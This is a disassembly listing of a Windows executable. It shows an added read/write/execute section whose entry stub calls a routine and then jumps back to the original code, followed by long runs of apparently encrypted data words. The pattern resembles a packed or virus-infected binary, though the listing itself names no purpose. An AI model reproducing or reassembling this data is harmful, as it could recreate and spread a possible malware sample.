		dd 0E4A2CF0Bh, 0E501DFA2h, 5BA2E8A2h, 5FDD356Ah, 0FEA17E61h
		dd 0E00551D0h, 705EDA51h, 1DDA5FDAh, 7032DA6Ah,	0DE1CD8D3h
		dd 312FF9E0h, 0F808397Eh, 7A3EFD03h, 1401h dup(0)
_text		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 0001A000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 41A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 00402839 SIZE 000000AD BYTES

		pusha
		call	sub_43F4C7
		popa
		jmp	loc_40283E
start		endp

; ---------------------------------------------------------------------------
		dd 9C0C8FD1h, 9C9C9C9Fh, 9C9C9C98h, 9C9C6363h, 9C9C9C24h
		dd 9C9C9C9Ch, 9C9C9CDCh, 8 dup(9C9C9C9Ch), 9C9C9C1Ch, 36B43BC9h
		dd 0A3A61511h, 9D749584h, 5E60306Ch, 0A98FE3D7h, 308D4B2Eh
		dd 9D3BE8E7h, 0F8681066h, 29254FCEh, 0B3B83758h, 1A4EF86Fh
		dd 58C3C4FEh, 0EAB1A7B3h, 9E5172C4h, 0DCAC289Eh, 81749694h
		dd 9C9CFA94h, 9C9A9DD0h, 0D45D03EFh, 2 dup(9C9C9C9Ch)
		dd 0BD929C7Ch, 0AB9E9D97h, 9C9C409Ch, 9C9CA09Ch, 9C8C1E9Ch
		dd 9C9C8D0Ah, 9C9C8C9Ch, 9C9C6C9Ch, 8C9C9C9Ch, 9C9C8C9Ch
		dd 9C9C9E9Ch, 9C9C9C9Dh, 9C9C9C9Ch, 9C9C9C98h, 9C9C9C9Ch
		dd 9C8D7C9Ch, 9C9C989Ch, 9C9C9C9Ch, 9C9C9C9Eh, 9C8C9C9Ch
		dd 9C9C8C9Ch, 9C8C9C9Ch, 9C9C8C9Ch, 9C9C9C9Ch, 9C9C9C8Ch
		dd 9C8D4C9Ch, 9C9C9CD0h, 9C8D3C9Ch, 9C9C9D50h, 6 dup(9C9C9C9Ch)
		dd 9C8D2C9Ch, 9C9C8774h, 14h dup(9C9C9C9Ch), 0E4F9E8B2h
		dd 9C9C9CE8h, 9C9C46D0h, 9C9C8C9Ch, 9C9C46D0h, 9C9C989Ch
		dd 3 dup(9C9C9C9Ch), 0FC9C9CBCh, 0EFEFFEB2h, 9C9C9C9Ch
		dd 9C8C1DE4h, 9C9C6C9Ch, 5 dup(9C9C9C9Ch), 5C9C9C1Ch, 0E8FDF8B2h
		dd 9C9C9CFDh, 9C9C8628h, 9C8D1C9Ch, 9C9C8628h, 9C9C7C9Ch
		dd 3 dup(9C9C9C9Ch), 5C9C9CDCh,	0FDF8F5B2h, 9C9CFDE8h
		dd 9C9C9D50h, 9C8D3C9Ch, 9C9C9D50h, 9C9C609Ch, 3 dup(9C9C9C9Ch)
		dd 5C9C9CFCh, 0F0F9EEB2h, 9C9CFFF3h, 9C9C876Ch,	9C8D2C9Ch
		dd 9C9C876Ch, 9C9D9C9Ch, 3 dup(9C9C9C9Ch), 9E9C9CBCh, 0FDF8F9B2h
		dd 9C9CFDE8h, 9C9C9CD0h, 9C8D4C9Ch, 9C9C9CD0h, 9C9D809Ch
		dd 3 dup(9C9C9C9Ch), 0DC9C9CBCh, 66h dup(9C9C9C9Ch), 9C9C9D24h
		dd 5CAD5F9Ch, 0B8D017DCh, 98DD6B98h, 9C9C9C9Ah,	0D81793E8h
		dd 0C81794B8h, 9E158CB8h, 9C9C9F24h, 0CACF5F9Ch, 0B8D817CBh
		dd 62F6CC8Ch, 9C8C9AF4h, 0A963F88Ch, 9C9C9C9Ch,	9CB915F8h
		dd 179C9C9Ch, 17BCB8D8h, 0EC1794C4h, 63621F90h,	0E8A7BCE8h
		dd 86E8B8B8h, 17EAA811h, 0D0172F90h, 0D41794B8h, 2FE01F90h
		dd 4BE99C98h, 942FC863h, 13F84D77h, 9C9C9C99h, 90581F9Ch
		dd 5FC7C2C3h, 0CF7915C9h, 0F6C9CBCAh, 0F49CF69Ch, 8C9C8C04h
		dd 7494E963h, 9C9C45D4h, 0C7C2C3C1h, 5FC17015h,	7915C960h
		dd 0CF94701Fh, 17C9CBCAh, 0D91790C1h, 98DC6B94h, 9C9C9C9Ah
		dd 9C2B1993h, 0D9159C9Ch, 8CD91764h, 1160D915h,	0DF1564D9h
		dd 90EF1760h, 1F94E717h, 18936362h, 9C9C9C34h, 1FEA9011h
		dd 9C9813E0h, 0C9CAE1E8h, 178CF711h, 9C1770D9h,	0A83F9C17h
		dd 178C8D1Ch, 9E1770C9h, 8D1CA43Fh, 98DE178Ch, 8D1CA03Fh
		dd 0CDCBCA8Ch, 9C9C8825h, 0DCA1119Ch, 178C8D1Ch, 8D1CA4A9h
		dd 11396F8Ch, 8D1CDCA1h, 0A4A1158Ch, 0C58C8D1Ch, 0C863C2C3h
		dd 0C2C19813h, 9590C117h, 0E4B4E85Ch, 94E717A8h, 63A674CFh
		dd 581F6363h, 8CF71198h, 4F74CFCAh, 1F636362h, 90119458h
		dd 139817EAh, 6390DF17h, 179413C8h, 901194E7h, 13A817EAh
		dd 6363FE75h, 775CAD63h, 0F711C985h, 0CF63F68Ch, 63623974h
		dd 90581F63h, 17497F6h,	1F9C9C44h, 0C3C19858h, 7015C7C2h
		dd 15C95FC1h, 0CBCACF79h, 9D90E11Fh, 807499E9h,	749C9C9Ch
		dd 9C9C4B23h, 638CE963h, 0E96390E9h, 1C9C3D94h,	4C638C8Dh
		dd 55C7C2C3h, 0C99C905Eh, 701F7915h, 9CF6CB90h,	0B9746AF6h
		dd 159C9C44h, 9CF664D9h, 857469F6h, 159C9C44h, 9CF660D9h
		dd 917468F6h, 159C9C44h, 82F468D9h, 638C8D1Ch, 6D7464E9h
		dd 3F9C9C4Bh, 8C8D1C94h, 8D1C80F4h, 60E9638Ch, 9C4B4374h
		dd 1C983F9Ch, 80F48C8Dh, 638C8D1Ch, 517468E9h, 1F9C9C4Bh
		dd 903FAC58h, 178C8D1Ch, 8D1C98A1h, 0E863958Ch,	0CB9CF697h
		dd 9C4B6774h, 94581F9Ch, 1C90A117h, 63958C8Dh, 9CF68CE8h
		dd 4B7A74CBh, 581F9C9Ch, 9C9A7494h, 55C39C9Ch, 0C0C0C5Fh
		dd 1F7915C9h, 0CACF8870h, 68D95BCBh, 9C9C9C9Ch,	9C4BFF74h
		dd 155F159Ch, 80776CC1h, 0E8A1A71Ch, 68D9639Fh,	5CAD4315h
		dd 6E558565h, 11456B32h, 5B1562DDh, 0A78011DBh,	0E99CA71Ch
		dd 68E11743h, 21A011DBh, 9C9C9C9Ch, 6370E115h, 0F17470E9h
		dd 0C59C9C4Bh, 3F64D915h, 8C8D1C8Ch, 9C64E11Fh,	5CAD98E9h
		dd 0C117C177h, 15D9776Ch, 655CAD43h, 326E5585h,	0DD11456Bh
		dd 0DB5B1562h, 1C60E115h, 0BAE8A1A7h, 7460E963h, 9C9C4BA8h
		dd 64E917C5h, 5C959A15h, 0B7779EE9h, 64E117CFh,	0DD74AB63h
		dd 1F9C9C4Bh, 0D91F9458h, 0C9179864h, 8F801160h, 0E99CA71Ch
		dd 64C9172Ah, 9C9C9E5Bh, 9D249C9Ch, 0C39C9C9Ch,	5F55C7C2h
		dd 1F7915C9h, 0CACFD070h, 992393CBh, 8C8D1D54h,	90892393h
		dd 9D8C8D1Eh, 9B741F4Ch, 7760D915h, 9CAC24B5h, 0F96B9C9Ch
		dd 7CD91560h, 8D1ED43Dh, 8923938Ch, 8C8D1D8Ch, 741F4C9Dh
		dd 7CC91799h, 0CC899815h, 638C95AAh, 0D03D60D9h, 1F8C8D1Dh
		dd 2393C15Ch, 8D1DD889h, 0A54C9D8Ch, 5DEE60D9h,	90992393h
		dd 9F8C8D1Eh, 8D1D9099h, 95741F8Ch, 188963CCh, 0F48C9DBCh
		dd 8C8D1F9Ch, 8D0608F4h, 3D9BF68Ch, 8C8D1D84h, 0CC95741Fh
		dd 8D0548F4h, 4889638Ch, 158C9DB9h, 1EEC3D5Fh, 741F8C8Dh
		dd 935FA599h, 9C9D3419h, 68D9119Ch, 1F9C3DCCh, 17CC8C8Dh
		dd 80CB63A4h, 2C3D5F15h, 9F8C8D1Dh, 8D1D4499h, 92741F8Ch
		dd 91E95FA5h, 8D1ED03Dh, 99741F8Ch, 0E968D9A5h,	9D987599h
		dd 23939C9Ch, 8D1DBC99h, 9F741F8Ch, 7564D915h, 9C9C9C7Ah
		dd 1564D917h, 5BFA4CD9h, 9C9F54D9h, 0CC58D911h,	1F54E911h
		dd 7B158C70h, 9C9C9825h, 17396F9Ch, 8D1F9CA1h, 0A317CB8Ch
		dd 15BCCB63h, 1E843D5Fh, 23938C8Dh, 8D1E8889h, 1F4C9D8Ch
		dd 44A59874h, 9C011993h, 0D9119C9Ch, 38F4CC5Ch,	178C8D06h
		dd 17CC58D9h, 0A18863A4h, 9C9C9C9Ch, 23935F15h,	8D1C6C99h
		dd 9F741F8Ch, 0F2E944A5h, 1E609911h, 0D9158C8Dh, 0AC17CC40h
		dd 1198CA63h, 0F4CC20D9h, 8C8D0568h, 0CC40D917h, 8863A417h
		dd 9C9C9CA1h, 3D5F159Ch, 8C8D1E9Ch, 1D6C999Fh, 741F8C8Dh
		dd 0E944A590h, 24D911BFh, 568F4CCh, 0E9638C8Dh,	5CE96320h
		dd 9C830774h, 8C581F9Ch, 1728D915h, 17CC20D9h, 94CA63ACh
		dd 0CC40D917h, 0CA63AC17h, 5CD91794h, 63AC17CCh, 0D91794CAh
		dd 0AC17CC58h, 6394CA63h, 0D91764D9h, 64D9A568h, 63921E93h
		dd 99116363h, 8C8D1FBCh, 0CC6CD915h, 0CA63AC17h, 70D91198h
		dd 578F4CCh, 0D9178C8Dh, 0AC17CC6Ch, 9CA98863h,	179C9C9Ch
		dd 17CC6CD9h, 94CA63ACh, 0CC78D911h, 8D0578F4h,	70E9638Ch
		dd 1F9CA963h, 81748C8Dh, 1F9C9C83h, 0D9158C58h,	60911774h
		dd 1F8C8D1Ch, 54A59E75h, 9C3D8BE9h, 0CC8C8D1Fh,	0CA63AC17h
		dd 99239394h, 8C8D1D80h, 8D1F9C3Fh, 0C7C2C38Ch,	15C95F55h
		dd 1D9C3D79h, 99A58C8Dh, 8C8DECA0h, 0A0F497EAh,	638C8DECh
		dd 9C6C8889h, 0ECA03D8Ch, 5EC18C8Dh, 15C99C98h,	0D4701F79h
		dd 17CBCACFh, 239394C1h, 8D1DC099h, 9F741F8Ch, 3D20D915h
		dd 8C8D1ECCh, 0A19F5B15h, 8C8D1D74h, 7795731Fh,	4D661592h
		dd 9017FA7Eh, 0D015FAE7h, 3DDB5C89h, 8C8D1C4Ch,	9F895C1Fh
		dd 8D1DC899h, 0EE5BA58Ch, 1C99117Ch, 158C8DC7h,	0D96324D9h
		dd 24D91720h, 0A59C2B93h, 93EF20D9h, 5CD911CFh,	0D05D74CCh
		dd 581F9C9Ch, 937F7794h, 1DB0A923h, 721F8C8Dh, 158D7799h
		dd 177E4D6Eh, 17FA90D1h, 0FA5C89C8h, 0DAED8815h, 8D1D7C3Dh
		dd 8B5C1F8Ch, 78892393h, 9D8C8D1Ch, 0EE5AA54Ch,	0C7C2C346h
		dd 0CACF5F55h, 1E9CA917h
		dd 0A99F8C8Dh, 8C8D1DF0h, 1DD08117h, 5F1D8C8Dh,	50B8DCEAh
		dd 30892393h, 9D8C8D1Dh, 2980154Fh, 8C8DC700h, 1D0CA917h
		dd 23938C8Dh, 8D1EE881h, 0B889178Ch, 118C8D1Dh,	74E98F00h
		dd 80151A06h, 8DC72C29h, 20A9178Ch, 178C8D1Ch, 8D1C2881h
		dd 0FF5F1D8Ch, 93A1A9E0h, 1EA88923h, 4F9D8C8Dh,	7C298015h
		dd 178C8DC7h, 8D1D48A9h, 8123938Ch, 8C8D1D34h, 8117429Dh
		dd 8C8D1DB4h, 7D465F1Dh, 801587EBh, 8DC72C29h, 0A923938Ch
		dd 8C8D1E88h, 1DA48117h, 5F1D8C8Dh, 0CCCE8931h,	50298015h
		dd 938C8DC7h, 1D80A923h, 81178C8Dh, 8C8D1D9Ch, 9282E811h
		dd 1C588117h, 5F1D8C8Dh, 88649993h, 5C298015h, 178C8DC7h
		dd 8D1C58A9h, 6081178Ch, 1D8C8D1Ch, 9AAB215Fh, 892393F2h
		dd 8C8D1E90h, 80154F9Dh, 8DC74429h, 0A923938Ch,	8C8D1D20h
		dd 80812393h, 118C8D1Dh, 939A82E8h, 1D548123h, 5F1D8C8Dh
		dd 82D21BA1h, 5C298015h, 938C8DC7h, 1DB0A923h, 6F158C8Dh
		dd 50465F1Dh, 80157F1Fh, 8DC74029h, 4A9178Ch, 9F8C8D1Ch
		dd 8D1D64A9h, 7C81178Ch, 1D8C8D1Dh, 0D7F8D15Fh,	10819F4Eh
		dd 158C8D1Dh, 0C7242980h, 0C43D8C8Dh, 158C8D1Eh, 28919F5Dh
		dd 1F8C8D1Ch, 86779875h, 1C5CA917h, 23938C8Dh, 8D1D0881h
		dd 1F429D8Ch, 0A8159472h, 8DC71C11h, 243DDD8Ch,	9F8C8D1Ch
		dd 8D1D7C99h, 5DA5D48Ch, 91174AEEh, 8C8D1ECCh, 1DF0A917h
		dd 5A1F8C8Dh, 78A99F9Fh, 158C8D1Dh, 0C7E411A8h,	91178C8Dh
		dd 8C8D1D90h, 1DFC919Fh, 23938C8Dh, 8D1EA8A9h, 425A1D8Ch
		dd 154BF641h, 0C70411A8h, 23938C8Dh, 8D1DBC91h,	9F52158Ch
		dd 8D1DE8A9h, 481178Ch,	118C8D1Dh, 0E2BA8510h, 90152361h
		dd 8DC72829h, 0CC91178Ch, 178C8D1Eh, 8D1DE4A9h,	3E5A1D8Ch
		dd 9F7D6B72h, 8D1D9CA9h, 11A8158Ch, 8C8DC724h, 0C8912393h
		dd 178C8D1Eh, 8D1D88A9h, 4F5A1D8Ch, 15B49219h, 0C75811A8h
		dd 91178C8Dh, 8C8D1DA8h, 1DB4919Fh, 23938C8Dh, 8D1D20A9h
		dd 0AE5A1D8Ch, 15AEA1DBh, 0C72411A8h, 23938C8Dh, 8D1C7091h
		dd 0A923938Ch, 8C8D1C44h, 0CD6C5A1Dh, 0A815862Ch, 8DC77411h
		dd 5FC7C28Ch, 9CDC9D24h, 9C8C5E1Ch, 8D1DB43Dh, 9A741F8Ch
		dd 0FC8963CCh, 5F8C8DC6h, 55EF4CBh, 55748C8Dh, 0C59C9C9Fh
		dd 48963CCh, 3F8C9DB9h,	8C8D1E14h, 50992393h, 938C8D1Ch
		dd 1D588923h, 4C9D8C8Dh, 0A590741Fh, 8D1E1499h,	0F48BE98Ch
		dd 8C8D0529h, 9C9F0B74h, 63CCC59Ch, 99AF8489h, 1E143F8Ch
		dd 3AF48C8Dh, 748C8D05h, 9C9C9F1Ch, 0A963CCC5h,	8C8D1E14h
		dd 0BD308963h, 0BC3F8C9Dh, 0C38C95AFh, 17CACF5Fh, 1790B8C0h
		dd 938CB8E8h, 1DEC9923h, 5D158C8Dh, 93835D1Fh, 1EF49923h
		dd 741F8C8Dh, 775DB59Eh, 8817FA82h, 88A7FAD7h, 0AD98EFD2h
		dd 0FABB775Ch, 0FAD78817h, 0EAD288A7h, 0DC5CAD99h, 93D58477h
		dd 1C509923h, 999F8C8Dh, 8C8D1C38h, 0A592741Fh,	0AD52E15Dh
		dd 0C7C2DC5Ch, 7915C95Fh, 9DB8701Dh, 0CACF9C9Ch, 0F7CF4CBh
		dd 0DCF69C98h, 0B5708963h, 0D9158C99h, 861CF460h, 0DCF69C9Ah
		dd 0B5708963h, 5F158C99h, 1F94D917h, 63CC9E5Ch,	417460E9h
		dd 179C9C53h, 5D1560D9h, 0DC63541Fh, 9C9DA01Ch,	0D91565E9h
		dd 78A11764h, 1F8C8D1Dh, 0A7779973h, 0D99F6415h, 74191560h
		dd 93636362h, 9158C2Ah,	6363627Ch, 19156415h, 63636278h
		dd 19157B6Bh, 63636240h, 627C1917h, 9176363h, 63636240h
		dd 9174C9Dh, 63636274h,	0A7DB9E14h, 5CEE64E1h, 8D1D183Dh
		dd 86E4998Ch, 0CFCC9C9Ah, 6364E963h, 7460E9h, 1F9C9CEBh
		dd 0C83D8C58h, 158C8D1Dh, 0CCA99F5Ah, 1F8C8D1Dh, 89779772h
		dd 0B7AFA01Ch, 985A98E9h, 0A01CB4AFh, 98E9A1AFh, 0B5AF985Ah
		dd 1F4515DAh, 1CDC6354h, 0E99C9DA0h, 0EE5AA565h, 1D843D47h
		dd 741F8C8Dh, 94C91795h, 0CC9EA01Ch, 0ACF4AFE9h, 118C95D5h
		dd 63627019h, 9174CC63h, 3D9C9C53h, 8C8D1C54h, 0CC9D5C1Fh
		dd 701911CFh, 0CC636362h, 9CE74E74h, 90581F9Ch,	939C641Fh
		dd 9C9D2A19h, 1C7C3D9Ch, 999F8C8Dh, 8C8D1C74h, 1794741Fh
		dd 0A01C94C9h, 8DE9D89Eh, 95A9DCF4h, 7019118Ch,	0CC636362h
		dd 9C525F74h, 1D883D9Ch, 999F8C8Dh, 8C8D1D2Ch, 1795741Fh
		dd 0A01C94C9h, 8DE9D79Eh, 9DBC3CF4h, 7019118Ch,	0CC636362h
		dd 9C520774h, 1D2C3D9Ch, 741F8C8Dh, 2393CC9Bh, 8D1D5899h
		dd 9B741F8Ch, 9398F6CCh, 1C449923h, 23938C8Dh, 8D1D1489h
		dd 9D5D158Ch, 1F56154Dh, 1FCE9276h, 0F4CC9574h,	0DC9C9C9Ch
		dd 62701911h, 63CC6363h, 8DF08489h, 68D9158Ch, 0AC3D9EF6h
		dd 1F8C8D1Eh, 93CC9974h, 1C6C9923h, 741F8C8Dh, 0E963CC9Fh
		dd 0AC896368h, 0F48C8DECh, 8C8D0502h, 9C9DBF74h, 8917C59Ch
		dd 8C8D1C04h, 0CE9E761Fh, 0CE6CC911h, 1D748917h, 23938C8Dh
		dd 8D1DF491h, 1F569D8Ch, 0CCCE9B76h, 6368E963h,	8DEC8089h
		dd 1D003D8Ch, 741F8C8Dh, 94C9179Bh, 0D79EA01Ch,	5F4ABE9h
		dd 748C8D05h, 9C9C9C40h, 892393C5h, 8C8D1DC0h, 0CE9F761Fh
		dd 0CE6CC911h, 1C008917h, 23938C8Dh, 8D1C7891h,	1F569D8Ch
		dd 0CCCE9A76h, 6368E963h, 8DEC8089h, 1D7C3D8Ch,	741F8C8Dh
		dd 94C91795h, 0CC9EA01Ch, 8F4B7E9h, 748C8D05h, 9C9C9C08h
		dd 892393C5h, 8C8D1D8Ch, 0C911CED6h, 2393CE6Ch,	8D1EB889h
		dd 0CCCED68Ch, 6368E963h, 8DEC8089h, 1F45158Ch,	1CDC6354h
		dd 0E99C9DA0h, 935E1565h, 1DBC9123h, 23938C8Dh,	8D1DC099h
		dd 1F5D9D8Ch, 11CD9A75h, 93CD6CD1h, 1EA09123h, 751F8C8Dh
		dd 0CD4D9D9Eh, 68E963CFh, 0EC808963h, 0E9638C8Dh, 0D4896368h
		dd 638C95D6h, 896360E9h, 8C9DB950h, 508963CFh, 0C38C9DB9h
		dd 5F55C7C2h, 0CB7915C9h, 6394E963h, 8D1E18A9h,	3089638Ch
		dd 158C9DBDh, 5FC1C35Bh, 0CD7915C9h, 17CBCACFh,	0A11F94E1h
		dd 8C8D1EE4h, 0F489E99Ch, 8C8DEDFCh, 93508963h,	995B8C9Dh
		dd 8C8D1EE4h, 9C9C9C9Dh, 1C58A917h, 0A99F8C8Dh,	8C8D1D6Ch
		dd 9393721Fh, 2A93832Ah, 2B939DCBh, 947E5D4Eh, 2B934F95h
		dd 0FA429D47h, 9360E915h, 1760D92Bh, 8D1D6489h,	98761F8Ch
		dd 18934CA5h, 9C9C9C17h, 8DEDFCF4h, 0C089638Ch,	938C8DC6h
		dd 1D149923h, 741F8C8Dh, 0D915FA9Eh, 93897762h,	9D62D92Bh
		dd 8C229364h, 9ED32293h, 8C1456ADh, 62D963FAh, 62D92B93h
		dd 60C92B93h, 43E04CA5h, 0BC992393h, 938C8D1Dh,	1E908923h
		dd 4C9D8C8Dh, 939F741Fh, 1C088923h, 761F8C8Dh, 9B88149Fh
		dd 80992393h, 938C8D1Dh, 1C788923h, 0D8118C8Dh,	89179D8Ch
		dd 8C8D1C5Ch, 1C28899Fh, 761F8C8Dh, 9B881499h, 8DEDFCF4h
		dd 0DC89638Ch, 118C95D6h, 0C2C39FDBh, 0C95F55C7h, 11CD7915h
		dd 3DCC60D9h, 8C8D1EB0h, 3C892393h, 9D8C8D1Ch, 94741F4Ch
		dd 992393CCh, 8C8D1D54h, 1D90999Fh, 741F8C8Dh, 0E963CC8Ch
		dd 1EC03D94h, 999F8C8Dh, 8C8D1D84h, 0CC92741Fh,	8D1C683Dh
		dd 24999F8Ch, 1F8C8D1Ch, 63CC9674h, 8DECBC89h, 8963CC8Ch
		dd 8C95D6D4h, 15C95F55h, 0C8701D79h, 0CA9C9C9Eh, 701911CBh
		dd 0CC636362h, 8D1D743Dh, 64999F8Ch, 1F8C8D1Dh,	3DCC9274h
		dd 8C8D1DD0h, 0CC9A741Fh, 3DBCF6h, 9F8C8D1Ch, 8D1C5899h
		dd 8C741F8Ch, 9C8963CCh, 118C99B6h, 63CC6CD9h, 95A9AC89h
		dd 0D92B938Ch, 0A889176Eh, 1D8C8D1Dh, 9C342B5Eh, 7C899F9Ch
		dd 938C8D1Ch, 2B935E33h
		dd 911764C9h, 8C8D1E80h, 93A05D1Fh, 4C9D4D33h, 6CC92B93h
		dd 1D189117h, 5D1D8C8Dh, 9C9B7469h, 1DA4919Fh, 33938C8Dh
		dd 934C9D4Dh, 176AC92Bh, 8D1C3891h, 0A5D1D8Ch, 9F9C9C99h
		dd 8D1DE891h, 4D33938Ch, 2B934C9Dh, 4C9D66C9h, 9C6CAC3Fh
		dd 1D483D8Ch, 999F8C8Dh, 8C8D1C64h, 1590741Fh, 63615619h
		dd 32291163h, 1D636361h, 9C9DDC70h, 257B159Ch, 9C9C9C03h
		dd 1139FA6Fh, 63627021h, 2B74CB63h, 1D9C9C23h, 9C9DD858h
		dd 55C2C39Ch, 7915C95Fh, 0CBCACFCDh, 1F94E117h,	8D1EE4A1h
		dd 89E99C8Ch, 8DEDFCF4h, 5089638Ch, 5B8C9D93h, 8D1EE499h
		dd 9C9C9D8Ch, 0B0A9179Ch, 1F8C8D1Eh, 2A93995Ah,	0CB2A9383h
		dd 4E2B939Eh, 95947E5Dh, 472B934Fh, 0DC892393h,	938C8D1Eh
		dd 1C449123h, 569D8C8Dh, 9394761Fh, 429D4633h, 60E915FAh
		dd 60D92B93h, 1D608917h, 9FDE8C8Dh, 8D1DE089h, 934CA58Ch
		dd 9C9C0C18h, 0EDFCF49Ch, 89638C8Dh, 8C8DC6C0h,	8D1E983Dh
		dd 9F5C1F8Ch, 78892393h, 9D8C8D1Ch, 0D915FA4Ch,	93BE7762h
		dd 9D62D92Bh, 8C229364h, 98D32293h, 8C1456ADh, 62D92B93h
		dd 1DE48917h, 9DD68C8Dh, 0D915FA4Ch, 0D92B9362h, 0C92B9362h
		dd 0E04CA560h, 1C003D4Eh, 23938C8Dh, 8D1DF489h,	1F4C9D8Ch
		dd 89179774h, 8C8D1E9Ch, 149F761Fh, 603D9B88h, 938C8D1Ch
		dd 1EF48923h, 899F8C8Dh, 8C8D1C74h, 1496761Fh, 0FCF49B88h
		dd 638C8DEDh, 95D6DC89h, 9ADB118Ch, 55C7C2C3h, 7915C95Fh
		dd 8DF088F4h, 6489638Ch, 3D8C99B5h, 8C8DF088h, 9C985EC1h
		dd 51AF4CBh, 19748C8Dh,	0C5636360h, 48963CCh, 3F8C9DB9h
		dd 8C8D1E1Ch, 8D1C683Dh, 9E741F8Ch, 1E1C99A5h, 8BE98C8Dh
		dd 8D05E4F4h, 60C2748Ch, 0CCC56363h, 0AF848963h, 1C3F8C99h
		dd 0C38C8D1Eh, 7915C95Fh, 9D80701Dh, 0CACF9C9Ch, 94D917CBh
		dd 1598D417h, 0CC1760D1h, 6CC91590h, 1594DC17h,	0D91764D9h
		dd 159C1794h, 211168D9h, 63636278h, 1FB8A911h, 8C258C8Dh
		dd 6F9C9C9Ch, 38E11139h, 1FF8A911h, 8C258C8Dh, 6F9C9C9Ch
		dd 0F8211139h, 11636363h, 8D1F38A9h, 9C8C258Ch,	396F9C9Ch
		dd 63B82111h, 0A9116363h, 8C8D1F78h, 9C9C8C25h,	93396F9Ch
		dd 1C708123h, 0BF758C8Dh, 159C9C9Dh, 9E7B5D43h,	78A12863h
		dd 17636362h, 8D1D78A1h, 0A923938Ch, 8C8D1EA8h,	731F6B9Dh
		dd 0E117CB9Eh, 3A86390h, 636CE963h, 0E96364E9h,	68E96360h
		dd 9CA48674h, 80581F9Ch, 3D68D915h, 8C8D1DD0h, 1C34999Fh
		dd 741F8C8Dh, 0E844A596h, 0DB4315A1h, 78212863h, 17636362h
		dd 8D1D4CA1h, 955B1F8Ch, 0A12393CBh, 8C8D1D80h,	9D4215DBh
		dd 90E11762h, 632BA863h, 0E96364E9h, 68E96360h,	746CE963h
		dd 9C9CAB57h, 1580581Fh, 0A1176CD9h, 8C8D1DFCh,	629D6215h
		dd 731F6B15h, 9D421594h, 29286362h, 63636278h, 1D60A117h
		dd 5B1F8C8Dh, 0A117CB8Dh, 8C8D1D2Ch, 1599731Fh,	17629D42h
		dd 0A86390E1h, 60E9632Bh, 6368E963h, 0E9636CE9h, 0ABE17464h
		dd 0D9159C9Ch, 0B0A11764h, 9F8C8D1Eh, 8D1DA4A1h, 4215D38Ch
		dd 2863629Dh, 63627829h, 0A1239363h, 8C8D1EA8h,	0CB8E5B1Fh
		dd 5B1F4315h, 90E9179Fh, 6322A863h, 0E96368E9h,	0E963CC6Ch
		dd 0ABA17460h, 581F9C9Ch, 60D915A4h, 8D1DC83Dh,	9F741F8Ch
		dd 0D03D5F9Dh, 9F8C8D1Eh, 8D1DA099h, 9E741F8Ch,	1A935FA5h
		dd 6363625Bh, 8D1C043Dh, 9F5F158Ch, 8D1C6081h, 9F771F8Ch
		dd 0F4992393h, 9F8C8D1Eh, 8D1ED499h, 9B741F8Ch,	7570D915h
		dd 9C9C9D16h, 6370E117h, 173821E8h, 8D1C00A1h, 9E731F8Ch
		dd 90E117CBh, 6303A863h, 0E9636CE9h, 60E96364h,	7468E963h
		dd 9C9CD6ABh, 1580581Fh, 483D68D9h, 938C8D1Ch, 1C708923h
		dd 4C9D8C8Dh, 9D9E741Fh, 1DFC3D5Fh, 5C1F8C8Dh, 89239396h
		dd 8C8D1EDCh, 5FA54C9Dh, 239390EEh, 8D1EFC99h, 9B5C1F8Ch
		dd 0E1175FB5h, 0E863DB70h, 23933821h, 8D1EFCA1h, 0E117CB8Ch
		dd 3A86390h, 6364E963h,	0E96360E9h, 6CE96368h, 9CD54A74h
		dd 80581F9Ch, 936CD915h, 1D349923h, 5C1F8C8Dh, 3D5F9D99h
		dd 8C8D1D24h, 0A5955C1Fh, 9388EE5Fh, 1DB09923h,	23938C8Dh
		dd 8D1EB489h, 8CD8118Ch, 175FB599h, 5B1F70E1h, 21E8639Eh
		dd 0C4A11738h, 1F8C8D1Eh, 17CB915Bh, 0A86390E1h, 60E96303h
		dd 6368E963h, 0E9636CE9h, 0D5E57464h, 581F9C9Ch, 64D91580h
		dd 8D1D0C3Dh, 5F9DD48Ch, 8D1E9C3Dh, 915C1F8Ch, 90EE5FA5h
		dd 0BC992393h, 1F8C8D1Eh, 5FB5935Ch, 1770E117h,	8D1DD4A9h
		dd 98721F8Ch, 0E8636B9Dh, 0A1173821h, 8C8D1EA4h, 9F955B1Fh
		dd 8D1ECCA1h, 0E117CB8Ch, 3A86390h, 6368E963h, 0E9636CE9h
		dd 60E96364h, 9CD58674h, 80581F9Ch, 3D60D915h, 8C8D1ECCh
		dd 8892393h, 9D8C8D1Dh,	98741F4Ch, 943D5F9Dh, 1F8C8D1Eh
		dd 2393925Ch, 8D1C7889h, 0A54C9D8Ch, 3D96EE5Fh,	8C8D1D00h
		dd 0B5955C1Fh, 9923935Fh, 8C8D1DECh, 9D9F5C1Fh,	239370D9h
		dd 8D1EF499h, 955C1F8Ch, 9370D9A5h, 6362FF1Ah, 1ED03D63h
		dd 5F158C8Dh, 1E80819Fh, 0E43D8C8Dh, 9F8C8D1Dh,	8D1DAC99h
		dd 9A741F8Ch, 7574D915h, 9C9C9D2Ah, 6374E117h, 63F82128h
		dd 0A1176363h, 8C8D1DC4h, 939F5B1Fh, 1C78A923h,	6B9D8C8Dh
		dd 90E117CBh, 6303A863h, 0E9636CE9h, 60E96364h,	7468E963h
		dd 9C9CCCA4h, 1580581Fh, 239368D9h, 8D1EFC99h, 0D0999F8Ch
		dd 1F8C8D1Eh, 5F9D9774h, 8D1EAC3Dh, 9A5C1F8Ch, 1DFC999Fh
		dd 5FA58C8Dh, 0E03D96EEh, 1F8C8D1Dh, 5FB5975Ch,	1774E117h
		dd 8D1D5CA9h, 6B9DDA8Ch, 0F8212863h, 17636363h,	8D1DA0A1h
		dd 58A19F8Ch, 1F8C8D1Ch, 17CB9B73h, 0A86390E1h,	64E96303h
		dd 6360E963h, 0E96368E9h, 0D356746Ch, 581F9C9Ch, 6CD91580h
		dd 0FC992393h, 9F8C8D1Eh, 8D1D4899h, 93741F8Ch,	603D5F9Dh
		dd 1F8C8D1Ch, 999F995Ch, 8C8D1DB8h, 90EE5FA5h, 0BC992393h
